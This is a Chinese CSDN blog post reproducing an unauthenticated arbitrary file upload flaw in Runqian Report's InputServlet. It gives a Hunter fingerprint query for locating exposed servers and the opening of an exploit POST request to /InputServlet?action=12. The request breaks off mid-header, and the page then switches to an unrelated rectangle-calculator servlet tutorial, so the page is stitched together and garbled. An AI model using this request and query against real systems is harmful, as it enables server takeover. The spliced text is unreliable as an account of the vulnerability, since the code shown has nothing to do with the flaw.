【漏洞复现】润乾报表 InputServlet 任意文件上传漏洞

本文介绍了润乾报表的任意文件上传漏洞,该漏洞可能导致服务器被攻击者控制。文章详细阐述了漏洞概述、复现过程及影响范围。
摘要由CSDN通过智能技术生成

0x01 产品简介

润乾报表是一个纯JAVA的企业级报表工具,润乾报表作为领先的企业级报表分析软件,提供了高效的报表设计方案、强大的报表展现能力、灵活的部署机制,以及支持强关联语义模型。这些功能使得润乾报表能够为企业级数据分析与商业智能提供高性能、高效率的报表系统解决方案。

0x02 漏洞概述

润乾报表存在任意文件上传漏洞,未授权的攻击者可以通过该漏洞上传任意恶意文件,从而控制服务器。

0x03 测绘语句

hunter:app.name="润乾报表平台"

0x04 漏洞复现

POST /InputServlet?action=12 HTTP/1.1

Host:

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safar
好的,以下是具体的代码实现: 1. 创建一个名为 Rectangle 的 JavaBean 类,用于计算矩形的周长和面积。 ```java public class Rectangle { private double length; private double width; public Rectangle() {} public Rectangle(double length, double width) { this.length = length; this.width = width; } public double getLength() { return length; } public void setLength(double length) { this.length = length; } public double getWidth() { return width; } public void setWidth(double width) { this.width = width; } public double getArea() { return length * width; } public double getPerimeter() { return 2 * (length + width); } } ``` 2. 创建一个名为 InputServletServlet 类,用于接收用户输入的矩形长和宽,并将其传递给 Rectangle 类进行计算。 ```java import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class InputServlet extends HttpServlet { private static final long serialVersionUID = 1L; public InputServlet() { super(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { double length = Double.parseDouble(request.getParameter("length")); double width = Double.parseDouble(request.getParameter("width")); Rectangle rect = new Rectangle(length, width); request.setAttribute("rect", rect); request.getRequestDispatcher("/output.jsp").forward(request, response); } } ``` 3. 创建一个名为 output.jsp 的 JSP 页面,用于显示计算出的矩形周长和面积。 ```jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>矩形周长和面积</title> </head> <body> <h1>矩形周长和面积</h1> <hr> <p>长:${rect.length}</p> <p>宽:${rect.width}</p> <p>面积:${rect.area}</p> <p>周长:${rect.perimeter}</p> </body> </html> ``` 4. 在 web.xml 文件中配置 InputServlet 类的映射。 ```xml <web-app> <servlet> <servlet-name>InputServlet</servlet-name> <servlet-class>InputServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>InputServlet</servlet-name> <url-pattern>/input</url-pattern> </servlet-mapping> </web-app> ``` 这样,当用户在输入页面上输入矩形的长和宽并提交后,就会显示出矩形的周长和面积。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

从不学安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值